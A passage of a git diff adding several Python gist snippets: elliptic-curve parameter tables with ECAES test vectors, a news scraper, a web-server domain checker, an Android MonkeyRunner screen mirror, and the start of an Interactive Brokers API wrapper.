+    Curve(a = 0xFFFFFFFDFFFFFFFFFFFFFFFFFFFFFFFC,
+          b = 0xE87579C11079F43DD824993C2CEE5ED3,
+          p = SECP128_PRIME),
+    G_x = 0x161FF7528B899B2D0C28607CA52C5B86,
+    G_y = 0xCF5AC8395BAFEB13C02DA292DDED7A83,
+    n = 0xFFFFFFFE0000000075A30D1B9038A115,
+    h = 1)
+
+SECP128r2 = Encryptor.make_curve(
+    Curve(a = 0xD6031998D1B3BBFEBF59CC9BBFF9AEE1,
+          b = 0x5EEEFCA380D02919DC2C6558BB6D8A5D,
+          p = SECP128_PRIME),
+    G_x = 0x7B6AA5D85E572983E6FB32A7CDEBC140,
+    G_y = 0x27B6916A894D3AEE7106FE805FC34B44,
+    n = 0x3FFFFFFF7FFFFFFFBE0024720613B5A3,
+    h = 4)
+
+SECP160k1 = Encryptor.make_curve(
+    Curve(a = 0,
+          b = 7,
+          p = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFAC73),
+    G_x = 0x3B4C382CE37AA192A4019E763036F4F5DD4D7EBB,
+    G_y = 0x938CF935318FDCED6BC28286531733C3F03C4FEE,
+    n = 0x100000000000000000001B8FA16DFAB9ACA16B6B3,
+    h = 1)
+
+SECP160r1 = Encryptor.make_curve(
+    Curve(a = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7FFFFFFC,
+          b = 0x1C97BEFC54BD7A8B65ACF89F81D4D4ADC565FA45,
+          p = 2**160 - 2**31 - 1),
+    G_x = 0x4A96B5688EF573284664698968C38BB913CBFC82,
+    G_y = 0x23A628553168947D59DCC912042351377AC5FB32,
+    n = 0x100000000000000000001F4C8F927AED3CA752257,
+    h = 1)
+
+SECP160r2 = Encryptor.make_curve(
+    Curve(a = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFAC70,
+          b = 0xB4E134D3FB59EB8BAB57274904664D5AF50388BA,
+          p = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFAC73),
+    G_x = 0x52DCB034293A117E1F4FF11B30F7199D3144CE6D,
+    G_y = 0xFEAFFEF2E331F296E071FA0DF9982CFEA7D43F2E,
+    n = 0x0100000000000000000000351EE786A818F3A1A16B,
+    h = 1)
+
+SECP192k1 = Encryptor.make_curve(
+    Curve(a = 0,
+          b = 3,
+          p = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFEE37),
+    G_x = 0xDB4FF10EC057E9AE26B07D0280B7F4341DA5D1B1EAE06C7D,
+    G_y = 0x9B2F2F6D9C5628A7844163D015BE86344082AA88D95E2F9D,
+    n = 0xFFFFFFFFFFFFFFFFFFFFFFFE26F2FC170F69466A74DEFD8D,
+    h = 1)
+
+SECT163k1 = K163
+
+SECT163r1 = Encryptor.make_binary_curve(
+    BinaryFieldCurve(
+        a = 0x07B6882CAAEFA84F9554FF8428BD88E246D2782AE2,
+        b = 0x0713612DCDDCB40AAB946BDA29CA91F73AF958AFD9,
+        f = [163, 7, 6, 3]),
+    G_x = 0x0369979697AB43897789566789567F787A7876A654,
+    G_y = 0x00435EDB42EFAFB2989D51FEFCE3C80988F41FF883,
+    n = 0x03FFFFFFFFFFFFFFFFFFFF48AAB689C29CA710279B, 
+    h = 2)
+
+SECT163r2 = Encryptor.make_binary_curve(
+    BinaryFieldCurve(
+        a = 1,
+        b = 0x020A601907B8C953CA1481EB10512F78744A3205FD,
+        f = [163, 7, 6, 3]),
+    G_x = 0x03F0EBA16286A2D57EA0991168D4994637E8343E36,
+    G_y = 0x00D51FBC6C71A0094FA2CDD545B11C5C0C797324F1,
+    n = 0x040000000000000000000292FE77E70C12A4234C33, 
+    h = 2)
+
+SECT233k1 = Encryptor.make_binary_curve(
+    BinaryFieldCurve(a = 0, b = 1, f = [233, 74]),
+    G_x = 0x017232BA853A7E731AF129F22FF4149563A419C26BF50A4C9D6EEFAD6126,
+    G_y = 0x01DB537DECE819B7F70F555A67C427A8CD9BF18AEB9B56E0C11056FAE6A3,
+    n = 0x8000000000000000000000000000069D5BB915BCD46EFB1AD5F173ABDF, 
+    h = 4)
+
+SECT233r1 = Encryptor.make_binary_curve(
+    BinaryFieldCurve(
+        a = 1,
+        b = 0x0066647EDE6C332C7F8C0923BB58213B333B20E9CE4281FE115F7D8F90AD,
+        f = [233, 74]),
+    G_x = 0x00FAC9DFCBAC8313BB2139F1BB755FEF65BC391F8B36F8F8EB7371FD558B,
+    G_y = 0x01006A08A41903350678E58528BEBF8A0BEFF867A7CA36716F7E01F81052,
+    n = 0x01000000000000000000000000000013E974E72F8A6922031D2603CFE0D7, 
+    h = 2)
+
+SECT239k1 = Encryptor.make_binary_curve(
+    BinaryFieldCurve(a = 0, b = 1, f = [239, 158]),
+    G_x = 0x29A0B6A887A983E9730988A68727A8B2D126C44CC2CC7B2A6555193035DC,
+    G_y = 0x76310804F12E549BDB011C103089E73510ACB275FC312A5DC6B76553F0CA,
+    n = 0x2000000000000000000000000000005A79FEC67CB6E91F1C1DA800E478A5, 
+    h = 4)
+
+SECT283k1 = Encryptor.make_binary_curve(
+    BinaryFieldCurve(a = 0, b = 1, f = [283, 12, 7, 5]),
+    G_x = 0x0503213F78CA44883F1A3B8162F188E553CD265F23C1567A16876913B0C2AC2458492836,
+    G_y = 0x01CCDA380F1C9E318D90F95D07E5426FE87E45C0E8184698E45962364E34116177DD2259,
+    n = 0x01FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE9AE2ED07577265DFF7F94451E061E163C61, 
+    h = 4)
+
+#curves extracted from libcrvs.a
+EC163a02 = SECT163k1
+
+ALL_STD_CIPHERS = [P192, P224, P256, P384, P521, SECP112r1, SECP112r2, SECP128r1, SECP128r2,
+SECP160k1, SECP160r1, SECP160r2, SECP192k1, SECT163k1, SECT163r1, SECT163r2, SECT233k1, SECT239k1]
+
+'''
+Encryptor.make_curve(
+    Curve(a = ,
+          b = ,
+          p = ),
+    G_x = ,
+    G_y = ,
+    n = ,
+    h = )
+
+Encryptor.make_binary_curve(
+    BinaryFieldCurve(
+        a = ,
+        b = ,
+        f = ),
+    G_x = ,
+    G_y = ,
+    n = , 
+    h = )
+'''
+
+def test():
+    ecaes_test()
+    certicom_mult_test()
+    decrypt_test()
+
+    def test_cipher(encryptor):
+        private, public = encryptor.gen_keypair()
+        cipher, plain = encryptor.encrypt(public)
+        assert plain == encryptor.decrypt(private, cipher)
+    for encryptor in ALL_STD_CIPHERS:
+        print "testing cipher"
+        test_cipher(encryptor)
+
+def ecaes_test():
+    #test vectors from http://www.secg.org/collateral/gec2.pdf
+    r = 501870566195266176721440888203272826969530834326
+    priv, pub = SECT163k1.gen_keypair(r)
+    assert pub.x == 0x072783FAAB9549002B4F13140B88132D1C75B3886C
+    assert pub.y == 0x05A976794EA79A4DE26E2E19418F097942C08641C7
+    assert sec_encode(pub) == binascii.unhexlify(
+        "02072783FAAB9549002B4F13140B88132D1C75B3886C")
+    #OMGWTFBBQ, standards doc test value is wrong -- 0x03 first byte when it should be 0x02
+    #or..... is the inverse function wrong?
+    ecaes = ECAES(SECT163k1, pub, priv, cipher=XOR)
+    plaintext = "abcdefghijklmnopqrst"
+    k = 936523985789236956265265265235675811949404040044
+    data = ecaes.encrypt(plaintext, k)
+    expected_data = binascii.unhexlify(
+        "0204994D2C41AA30E52952B0A94EC6511328C502DA9B"+\
+        "62A441E4ADF2866BAFEADA50B9DAC1047B2C83B3183301B4"+\
+        "14C82DFA91A58311369DF0E2A6F9642C")
+    assert data == expected_data
+    assert ecaes.decrypt(data) == plaintext
+
+def certicom_mult_test():
+    priv = int('00ADB84D68BDCF71B62A4B2808F45DABF8DEA1287B', 16)
+    pub = binascii.unhexlify('03005716C55DB50BB7DDD2FDDB6186110A9492465DF5')
+    pub = sec_decode(EC163a02.curve, pub)
+    assert priv * EC163a02.G == pub
+
+def decrypt_test():
+    public_key = sec_decode(EC163a02.curve, binascii.unhexlify('03005716C55DB50BB7DDD2FDDB6186110A9492465DF5'))
+    private_key = int('00ADB84D68BDCF71B62A4B2808F45DABF8DEA1287B', 16)
+    encrypted = '03027E67B352ACA3B31651D5B812B40A249278AA2E3EB3FCA0BE7D53418B6752A7FD6DB03EA9160B26A3C1B41D3'+\
+    '77E50BE769DC4056E7B54C01383855358EE24D662747D649F77138DA111349704BD44B196E217B1DFE8A39FCD2F21C57269398E'+\
+    'C0BE57A45AA5150A8C684B930C5C7FF93058CD220E8C923392A1AD303E0262B3C01BB9C3D126D978AF7EB74E766CC1ADC2B900D'+\
+    '499ABD1A9A2D27B70DDC89EC51B9EFCD639C4566D43'
+    encryptor = ECAES(EC163a02, public_key, private_key, cipher=XOR)
+    print binascii.hexlify(encryptor.decrypt(binascii.unhexlify(encrypted)))
+
+
diff --git a/hard-gists/4426342d455de2421d89/._snippet.py b/hard-gists/4426342d455de2421d89/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4426342d455de2421d89/._snippet.py differ
diff --git a/hard-gists/4426342d455de2421d89/snippet.py b/hard-gists/4426342d455de2421d89/snippet.py
new file mode 100644
index 00000000..e9328249
--- /dev/null
+++ b/hard-gists/4426342d455de2421d89/snippet.py
@@ -0,0 +1,35 @@
+from bs4 import BeautifulSoup
+import urllib.request
+
+#import url
+url = 'http://jkt48.com/news/list?lang=id'
+
+#init request
+req = urllib.request.Request(url)
+resp = urllib.request.urlopen(req)
+respData = resp.read()
+
+#new class soup
+soup = BeautifulSoup(respData, 'html.parser')
+
+#find div class=contentpink
+contentpink = soup.find_all('div', 'contentpink')
+
+#set parameter 10 latest news
+i = 0
+
+#find every post news
+for posting in contentpink:
+	#10 latest news
+	if i<10:
+		#find title
+		title = posting.h2
+		
+		#find date posted
+		posted = posting.find_all('div', 'metadata')
+		
+		#print
+		print (title.string, '-', posted[0].string)
+		
+		# i+1 for parameter
+		i += 1
diff --git a/hard-gists/4427984/._snippet.py b/hard-gists/4427984/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4427984/._snippet.py differ
diff --git a/hard-gists/4427984/snippet.py b/hard-gists/4427984/snippet.py
new file mode 100644
index 00000000..1a6a2b3f
--- /dev/null
+++ b/hard-gists/4427984/snippet.py
@@ -0,0 +1,246 @@
+#! /usr/bin/env python
+"""
+
+Script that checks all uncommented domains in a nginx or apache config directory.
+
+The domain is checked for the HTTP return code and
+if the there is a DNS record for the domain.
+
+Optionaly you can provide the ip of you server and the script will check
+if the domain is hosted on your server or not.
+"""
+
+
+from optparse import OptionParser
+import logging
+import logging.handlers
+import os
+import sys
+import urllib2
+
+if __name__ != '__main__':
+    import dns.resolver
+
+
+def get_logger(logdir, debug):
+    """docstring for get_logger"""
+    logname = 'dontpanic.log'
+
+    logdir = logdir or '.'
+    debug = debug or False
+
+    logger = logging.getLogger()
+    #formatter = logging.Formatter(
+        #'%(asctime)s - %(levelname)s - %(message)s')
+
+    if debug:
+        logger.setLevel(logging.DEBUG)
+    else:
+        logger.setLevel(logging.INFO)
+
+    logfile_handler = logging.handlers.RotatingFileHandler(
+        os.path.join(logdir, logname)
+    )
+    stream_handler = logging.StreamHandler()
+
+    #logfile.setFormatter(formatter)
+    logger.addHandler(logfile_handler)
+    logger.addHandler(stream_handler)
+
+    logger.debug("Logger initialized ... ")
+
+    return logger
+
+
+class SmartRedirectHandler(urllib2.HTTPRedirectHandler):
+    def http_error_301(self, req, fp, code, msg, headers):
+        result = urllib2.HTTPRedirectHandler.http_error_301(
+            self, req, fp, code, msg, headers)
+        result.status = code
+        return result
+
+    def http_error_302(self, req, fp, code, msg, headers):
+        result = urllib2.HTTPRedirectHandler.http_error_302(
+            self, req, fp, code, msg, headers)
+        result.status = code
+        return result
+
+
+class DefaultErrorHandler(urllib2.HTTPDefaultErrorHandler):
+    def http_error_default(self, req, fp, code, msg, headers):
+        result = urllib2.HTTPError(
+            req.get_full_url(), code, msg, headers, fp)
+        result.status = code
+        return result
+
+
+class Parser(object):
+
+    def parse_nginx_conf(self, nginx_file):
+        """
+
+        """
+        domains = []
+        logger.debug("Starting parsing nginx conf file: %s", nginx_file)
+        with open(nginx_file) as conf:
+            for line in conf:
+                if "server_name " in line and "#" not in line:
+                    line_domains = line.strip().replace("server_name ", "")
+                    line_domains = line_domains.replace(";", "").split()
+                    domains.extend(line_domains)
+        logger.debug("Added %s domains from nginx conf file: %s", domains, nginx_file)
+        logger.debug("Parsing nginx conf: %s completed\n", nginx_file)
+        return domains
+
+    def parse_apache_conf(self, apache_file):
+        """
+        """
+        domains = []
+        logger.debug("Starting parsing apache conf file: %s", apache_file)
+        with open(apache_file) as conf:
+            for line in conf:
+                if "ServerAlias" in line and "#" not in line:
+                    line_domains = line.strip().replace("ServerAlias", "").split()
+                    domains.extend(line_domains)
+        logger.debug("Added %s domains from apache conf file: %s", domains, apache_file)
+        logger.debug("Parsing apache conf completed\n")
+        return domains
+
+    def _file_list(self, directory):
+        """
+        """
+        for dirname, dirnames, filenames in os.walk(directory):
+            for filename in filenames:
+                yield os.path.join(dirname, filename)
+
+    def parse_nginx_dir(self, nginx_dir):
+        """docstring for parse_nginx_dir"""
+        domains = []
+        for conf in self._file_list(nginx_dir):
+            domains += self.parse_nginx_conf(conf)
+        return domains
+
+    def parse_apache_dir(self, apache_dir):
+        """docstring for parse_apache_dir"""
+        domains = []
+        for conf in self._file_list(apache_dir):
+            domains += self.parse_apache_conf(conf)
+        return domains
+
+
+class DomainChecker(object):
+
+    def __init__(self, timeout=3, agent="dontpanic/1.0"):
+        self.timeout = timeout
+        self.agent = agent
+        self.opener = urllib2.build_opener()
+
+    def _build_request(self, url):
+        self.url = url
+        if not self.url.startswith("http"):
+            tmp = "http://" + url
+            self.hurl = tmp
+        request = urllib2.Request(self.hurl)
+        request.add_header('User-Agent', self.agent)
+        request.add_header('Accept-encoding', 'gzip')
+        return request
+
+    def get_code(self, url):
+        response = self.opener.open(self._build_request(url))
+        if hasattr(response, 'status'):
+            return response.status
+        else:
+            return response.code
+
+    def check_domain(self, domain, our_ip_list=None):
+        oklist, foolist = [], []
+        code = None
+        our_shit = False
+        # XXX
+        if our_ip_list is None:
+            our_shit = True
+        else:
+            try:
+                answers = dns.resolver.query(domain, 'A')
+                for answer in answers:
+                    if answer.address in our_ip_list:
+                        our_shit = True
+            except:
+                pass
+
+        try:
+            code = self.get_code(domain)
+        except urllib2.HTTPError, e:
+            if our_shit:
+                logger.info("%s retuned %s -- BAD", domain, e.code)
+            else:
+                logger.info("%s retuned %s -- BAD (Not our problem hosted at %s)", domain, e.code, answer.address)
+            code = e.code
+        except urllib2.URLError, e:
+                logger.info("%s %s -- SUPER BAD (domain not registered or no DNS record)", domain, e.reason)
+
+        if code in (200, 301, 302):
+
+            if our_shit:
+                logger.info("%s retuned %s -- OK", domain, code)
+            else:
+                logger.info("%s retuned %s -- OK (Not our problem hosted at %s)", domain, code, answer.address)
+            oklist.append(domain)
+        else:
+            foolist.append(domain)
+        return  foolist
+
+
+if __name__ == "__main__":
+
+    parser = OptionParser()
+
+    parser.usage = "%prog [options]" + __doc__
+
+    parser.add_option("-n", "--nginx-conf-dir", dest="nginx_dir",
+                      help="directory with nginx conf files", metavar="NDIR")
+    parser.add_option("-a", "--apache-conf-dir", dest="apache_dir",
+                      help="directory with apache conf files", metavar="ADIR")
+    parser.add_option("-l", "--log-dir", dest="logdir",
+                      help="write report to LOGDIR", metavar="LOGDIR")
+    parser.add_option("-d", "--debug",
+                      dest="debug", default=False,
+                      help="debug mode")
+    parser.add_option("-i", "--ips",
+                      dest="ips", default=None,
+                      help="ip or ips of our server (will activate dns resolver)")
+
+    args = parser.parse_args()[0]
+
+    logger = get_logger(args.logdir, args.debug)
+
+    logger.info('Starting ...')
+
+    p = Parser()
+    dc = DomainChecker()
+
+    nginx_domains, apache_domains = [], []
+    if getattr(args, 'nginx_dir') is not None:
+        nginx_domains = p.parse_nginx_dir(args.nginx_dir)
+    if getattr(args, 'apache_dir') is not None:
+        apache_domains = p.parse_apache_dir(args.apache_dir)
+
+    domains = nginx_domains + apache_domains
+
+    if args.ips:
+        try:
+            import dns.resolver
+        except ImportError:
+            print 'You need to install python-pythondns package.'
+
+    if not domains:
+        print 'No domains found !'
+        logger.info('No domains found !')
+        sys.exit(0)
+
+    logger.info("Start checking the domains ...")
+
+    for domain in domains:
+        dc.check_domain(domain, args.ips)
+
+    logger.info("Ending ...\n\n\n")
diff --git a/hard-gists/4431155/._snippet.py b/hard-gists/4431155/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4431155/._snippet.py differ
diff --git a/hard-gists/4431155/snippet.py b/hard-gists/4431155/snippet.py
new file mode 100644
index 00000000..1a537909
--- /dev/null
+++ b/hard-gists/4431155/snippet.py
@@ -0,0 +1,30 @@
+from com.android.monkeyrunner import MonkeyRunner, MonkeyDevice, MonkeyImage
+device = MonkeyRunner.waitForConnection()
+
+
+from javax.swing import JButton, JFrame, JPanel, ImageIcon
+
+frame = JFrame('Android Display!',
+            defaultCloseOperation = JFrame.EXIT_ON_CLOSE,
+            size = (960, 540)
+        )
+
+def change_text(event):
+  print 'Clicked!'
+
+
+def mouseUsageClicked(event):
+    x = event.getX() * 2
+    y = event.getY() * 2
+    print(str(x)+"-"+str(y))
+    device.touch(x,y,MonkeyDevice.DOWN_AND_UP)
+    paintScreenshot(pan)
+
+def paintScreenshot(p):
+    result = device.takeSnapshot()
+    im = ImageIcon(result.convertToBytes())
+    p.graphics.drawImage(im.getImage(), 0, 0, 960, 540, p)
+
+pan = JPanel(mouseClicked=mouseUsageClicked) #, super__paintComponent= paintScreenshot)
+frame.add(pan)
+frame.visible = True
diff --git a/hard-gists/443622de54589e31c1d98c6ea8eff84b/._snippet.py b/hard-gists/443622de54589e31c1d98c6ea8eff84b/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/443622de54589e31c1d98c6ea8eff84b/._snippet.py differ
diff --git a/hard-gists/443622de54589e31c1d98c6ea8eff84b/snippet.py b/hard-gists/443622de54589e31c1d98c6ea8eff84b/snippet.py
new file mode 100644
index 00000000..8bdade50
--- /dev/null
+++ b/hard-gists/443622de54589e31c1d98c6ea8eff84b/snippet.py
@@ -0,0 +1,939 @@
+# Gist example of IB wrapper ...
+#
+# Download API from http://interactivebrokers.github.io/#
+#
+# Install python API code /IBJts/source/pythonclient $ python3 setup.py install
+#
+# Note: The test cases, and the documentation refer to a python package called IBApi,
+#    but the actual package is called ibapi. Go figure.
+#
+# Get the latest version of the gateway:
+# https://www.interactivebrokers.com/en/?f=%2Fen%2Fcontrol%2Fsystemstandalone-ibGateway.php%3Fos%3Dunix
+#    (for unix: windows and mac users please find your own version)
+#
+# Run the gateway
+#
+# user: edemo
+# pwd: demo123
+#
+# Now I'll try and replicate the historical data example
+
+from ibapi.wrapper import EWrapper
+from ibapi.client import EClient
+from ibapi.contract import Contract as IBcontract
+from ibapi.order import Order
+from ibapi.execution import ExecutionFilter
+
+import time
+from threading import Thread
+import queue
+import datetime
+from copy import deepcopy
+
+## these are just arbitrary numbers in leiu of a policy on this sort of thing
+DEFAULT_MARKET_DATA_ID=50
+DEFAULT_GET_CONTRACT_ID=43
+DEFAULT_EXEC_TICKER=78
+
+## marker for when queue is finished
+FINISHED = object()
+STARTED = object()
+TIME_OUT = object()
+
+## This is the reqId IB API sends when a fill is received
+FILL_CODE=-1
+
+"""
+Next section is 'scaffolding'
+
+"""
+
+class finishableQueue(object):
+    """
+    Creates a queue which will finish at some point
+    """
+
+    def __init__(self, queue_to_finish):
+
+        self._queue = queue_to_finish
+        self.status = STARTED
+
+    def get(self, timeout):
+        """
+        Returns a list of queue elements once timeout is finished, or a FINISHED flag is received in the queue
+
+        :param timeout: how long to wait before giving up
+        :return: list of queue elements
+        """
+        contents_of_queue=[]
+        finished=False
+
+        while not finished:
+            try:
+                current_element = self._queue.get(timeout=timeout)
+                if current_element is FINISHED:
+                    finished = True
+                    self.status = FINISHED
+                else:
+                    contents_of_queue.append(current_element)
+                    ## keep going and try and get more data
+
+            except queue.Empty:
+                ## If we hit a time out it's most probable we're not getting a finished element any time soon
+                ## give up and return what we have
+                finished = True
+                self.status = TIME_OUT
+
+
+        return contents_of_queue
+
+    def timed_out(self):
+        return self.status is TIME_OUT
+
+"""
+Mergable objects are used to capture order and execution information which comes from different sources and needs
+  glueing together
+"""
+
+## marker to show a mergable object hasn't got any attributes
+NO_ATTRIBUTES_SET=object()
+
+class mergableObject(object):
+    """
+    Generic object to make it easier to munge together incomplete information about orders and executions
+    """
+
+    def __init__(self, id, **kwargs):
+        """
+
+        :param id: main reference, has to be an immutable type
+        :param kwargs: other attributes which will appear in list returned by attributes() method
+        """
+
+        self.id=id
+        attr_to_use=self.attributes()
+
+        for argname in kwargs:
+            if argname in attr_to_use:
+                setattr(self, argname, kwargs[argname])
+            else:
+                print("Ignoring argument passed %s: is this the right kind of object? If so, add to .attributes() method" % argname)
+
+    def attributes(self):
+        ## should return a list of str here
+        ## eg return ["thingone", "thingtwo"]
+        return NO_ATTRIBUTES_SET
+
+    def _name(self):
+        return "Generic Mergable object - "
+
+    def __repr__(self):
+
+        attr_list = self.attributes()
+        if attr_list is NO_ATTRIBUTES_SET:
+            return self._name()
+
+        return self._name()+" ".join([ "%s: %s" % (attrname, str(getattr(self, attrname))) for attrname in attr_list
+                                                  if getattr(self, attrname, None) is not None])
+
+    def merge(self, details_to_merge, overwrite=True):
+        """
+        Merge two things
+
+        self.id must match
+
+        :param details_to_merge: thing to merge into current one
+        :param overwrite: if True then overwrite current values, otherwise keep current values
+        :return: merged thing
+        """
+
+        if self.id!=details_to_merge.id:
+            raise Exception("Can't merge details with different IDS %d and %d!" % (self.id, details_to_merge.id))
+
+        arg_list = self.attributes()
+        if arg_list is NO_ATTRIBUTES_SET:
+            ## self is a generic, empty, object.
+            ## I can just replace it wholesale with the new object
+
+            new_object = details_to_merge
+
+            return new_object
+
+        new_object = deepcopy(self)
+
+        for argname in arg_list:
+            my_arg_value = getattr(self, argname, None)
+            new_arg_value = getattr(details_to_merge, argname, None)
+
+            if new_arg_value is not None:
+                ## have something to merge
+                if my_arg_value is not None and not overwrite:
+                    ## conflict with current value, don't want to overwrite, skip
+                    pass
+                else:
+                    setattr(new_object, argname, new_arg_value)
+
+        return new_object
+
+
+class orderInformation(mergableObject):
+    """
+    Collect information about orders
+
+    main ID will be the orderID
+
+    eg you'd do order_details = orderInformation(orderID, contract=....)
+    """
+
+    def _name(self):
+        return "Order - "
+
+    def attributes(self):
+        return ['contract','order','orderstate','status',
+                 'filled', 'remaining', 'avgFillPrice', 'permid',
+                 'parentId', 'lastFillPrice', 'clientId', 'whyHeld']
+
+
+class execInformation(mergableObject):
+    """
+    Collect information about executions
+
+    main ID will be the execid
+
+    eg you'd do exec_info = execInformation(execid, contract= ... )
+    """
+
+    def _name(self):
+        return "Execution - "
+
+    def attributes(self):
+        return ['contract','ClientId','OrderId','time','AvgPrice','Price','AcctNumber',
+                'Shares','Commission', 'commission_currency', 'realisedpnl']
+
+
+class list_of_mergables(list):
+    """
+    A list of mergable objects, like execution details or order information
+    """
+
+
+    def merged_dict(self):
+        """
+        Merge and remove duplicates of a stack of mergable objects with unique ID
+
+        Essentially creates the union of the objects in the stack
+
+        :return: dict of mergableObjects, keynames .id
+        """
+
+        ## We create a new stack of order details which will contain merged order or execution details
+        new_stack_dict = {}
+
+        for stack_member in self:
+            id = stack_member.id
+
+            if id not in new_stack_dict.keys():
+                ## not in new stack yet, create a 'blank' object
+                ## Note this will have no attributes, so will be replaced when merged with a proper object
+                new_stack_dict[id] = mergableObject(id)
+
+            existing_stack_member = new_stack_dict[id]
+
+            ## add on the new information by merging
+            ## if this was an empty 'blank' object it will just be replaced with stack_member
+            new_stack_dict[id] = existing_stack_member.merge(stack_member)
+
+        return new_stack_dict
+
+
+    def blended_dict(self, stack_to_merge):
+        """
+        Merges any objects in new_stack with the same ID as those in the original_stack
+
+        :param self: list of mergableObject or inheritors thereof
+        :param stack_to_merge: list of mergableObject or inheritors thereof
+
+        :return: dict of mergableObjects, keynames .id
+        """
+
+        ## We create a new dict stack of order details which will contain merged details
+
+        new_stack = {}
+
+        ## convert the thing we're merging into a dictionary
+        stack_to_merge_dict = stack_to_merge.merged_dict()
+
+        for stack_member in self:
+            id = stack_member.id
+            new_stack[id] = deepcopy(stack_member)
+
+            if id in stack_to_merge_dict.keys():
+                ## add on the new information by merging without overwriting
+                new_stack[id] = stack_member.merge(stack_to_merge_dict[id], overwrite=False)
+
+        return new_stack
+
+
+## Just to make the code more readable
+
+class list_of_execInformation(list_of_mergables):
+    pass
+
+class list_of_orderInformation(list_of_mergables):
+    pass
+
+"""
+Now into the main bit of the code; Wrapper and Client objects
+"""
+
+class TestWrapper(EWrapper):
+    """
+    The wrapper deals with the action coming back from the IB gateway or TWS instance
+
+    We override methods in EWrapper that will get called when this action happens, like currentTime
+
+    Extra methods are added as we need to store the results in this object
+    """
+
+    def __init__(self):
+        self._my_contract_details = {}
+        self._my_requested_execution = {}
+
+        ## We set these up as we could get things coming along before we run an init
+        self._my_executions_stream = queue.Queue()
+        self._my_commission_stream = queue.Queue()
+        self._my_open_orders = queue.Queue()
+
+    ## error handling code
+    def init_error(self):
+        error_queue=queue.Queue()
+        self._my_errors = error_queue
+
+    def get_error(self, timeout=5):
+        if self.is_error():
+            try:
+                return self._my_errors.get(timeout=timeout)
+            except queue.Empty:
+                return None
+
+        return None
+
+    def is_error(self):
+        an_error_if=not self._my_errors.empty()
+        return an_error_if
+
+    def error(self, id, errorCode, errorString):
+        ## Overriden method
+        errormsg = "IB error id %d errorcode %d string %s" % (id, errorCode, errorString)
+        self._my_errors.put(errormsg)
+
+
+    ## get contract details code
+    def init_contractdetails(self, reqId):
+        contract_details_queue = self._my_contract_details[reqId] = queue.Queue()
+
+        return contract_details_queue
+
+    def contractDetails(self, reqId, contractDetails):
+        ## overridden method
+
+        if reqId not in self._my_contract_details.keys():
+            self.init_contractdetails(reqId)
+
+        self._my_contract_details[reqId].put(contractDetails)
+
+    def contractDetailsEnd(self, reqId):
+        ## overriden method
+        if reqId not in self._my_contract_details.keys():
+            self.init_contractdetails(reqId)
+
+        self._my_contract_details[reqId].put(FINISHED)
+
+    # orders
+    def init_open_orders(self):
+        open_orders_queue = self._my_open_orders = queue.Queue()
+
+        return open_orders_queue
+
+
+    def orderStatus(self, orderId, status, filled, remaining, avgFillPrice, permid,
+                    parentId, lastFillPrice, clientId, whyHeld):
+
+        order_details = orderInformation(orderId, status=status, filled=filled,
+                 avgFillPrice=avgFillPrice, permid=permid,
+                 parentId=parentId, lastFillPrice=lastFillPrice, clientId=clientId,
+                                         whyHeld=whyHeld)
+
+        self._my_open_orders.put(order_details)
+
+
+    def openOrder(self, orderId, contract, order, orderstate):
+        """
+        Tells us about any orders we are working now
+
+        overriden method
+        """
+
+        order_details = orderInformation(orderId, contract=contract, order=order, orderstate = orderstate)
+        self._my_open_orders.put(order_details)
+
+
+    def openOrderEnd(self):
+        """
+        Finished getting open orders
+
+        Overriden method
+        """
+
+        self._my_open_orders.put(FINISHED)
+
+
+    """ Executions and commissions
+
+    requested executions get dropped into single queue: self._my_requested_execution[reqId]
+    Those that arrive as orders are completed without a relevant reqId go into self._my_executions_stream
+    All commissions go into self._my_commission_stream (could be requested or not)
+
+    The *_stream queues are permanent, and init when the TestWrapper instance is created
+
+    """
+
+
+    def init_requested_execution_data(self, reqId):
+        execution_queue = self._my_requested_execution[reqId] = queue.Queue()
+
+        return execution_queue
+
+    def access_commission_stream(self):
+        ## Access to the 'permanent' queue for commissions
+
+        return self._my_commission_stream
+
+    def access_executions_stream(self):
+        ## Access to the 'permanent' queue for executions
+
+        return self._my_executions_stream
+
+
+    def commissionReport(self, commreport):
+        """
+        This is called if
+
+        a) we have submitted an order and a fill has come back
+        b) We have asked for recent fills to be given to us
+
+        However no reqid is ever passed
+
+        overriden method
+
+        :param commreport:
+        :return:
+        """
+
+        commdata = execInformation(commreport.execId, Commission=commreport.commission,
+                        commission_currency = commreport.currency,
+                        realisedpnl = commreport.realizedPNL)
+
+
+        ## there are some other things in commreport you could add
+        ## make sure you add them to the .attributes() field of the execInformation class
+
+        ## These always go into the 'stream' as could be from a request, or a fill thats just happened
+        self._my_commission_stream.put(commdata)
+
+
+    def execDetails(self, reqId, contract, execution):
+        """
+        This is called if
+
+        a) we have submitted an order and a fill has come back (in which case reqId will be FILL_CODE)
+        b) We have asked for recent fills to be given to us (reqId will be
+
+        See API docs for more details
+        """
+        ## overriden method
+
+        execdata = execInformation(execution.execId, contract=contract,
+                                   ClientId=execution.clientId, OrderId=execution.orderId,
+                                   time=execution.time, AvgPrice=execution.avgPrice,
+                                   AcctNumber=execution.acctNumber, Shares=execution.shares,
+                                   Price = execution.price)
+
+        ## there are some other things in execution you could add
+        ## make sure you add them to the .attributes() field of the execInformation class
+
+        reqId = int(reqId)
+
+        ## We eithier put this into a stream if its just happened, or store it for a specific request
+        if reqId==FILL_CODE:
+            self._my_executions_stream.put(execdata)
+        else:
+            self._my_requested_execution[reqId].put(execdata)
+
+
+
+    def execDetailsEnd(self, reqId):
+        """
+        No more orders to look at if execution details requested
+        """
+        self._my_requested_execution[reqId].put(FINISHED)
+
+
+    ## order ids
+    def init_nextvalidid(self):
+
+        orderid_queue = self._my_orderid_data = queue.Queue()
+
+        return orderid_queue
+
+    def nextValidId(self, orderId):
+        """
+        Give the next valid order id
+
+        Note this doesn't 'burn' the ID; if you call again without executing the next ID will be the same
+
+        If you're executing through multiple clients you are probably better off having an explicit counter
+
+        """
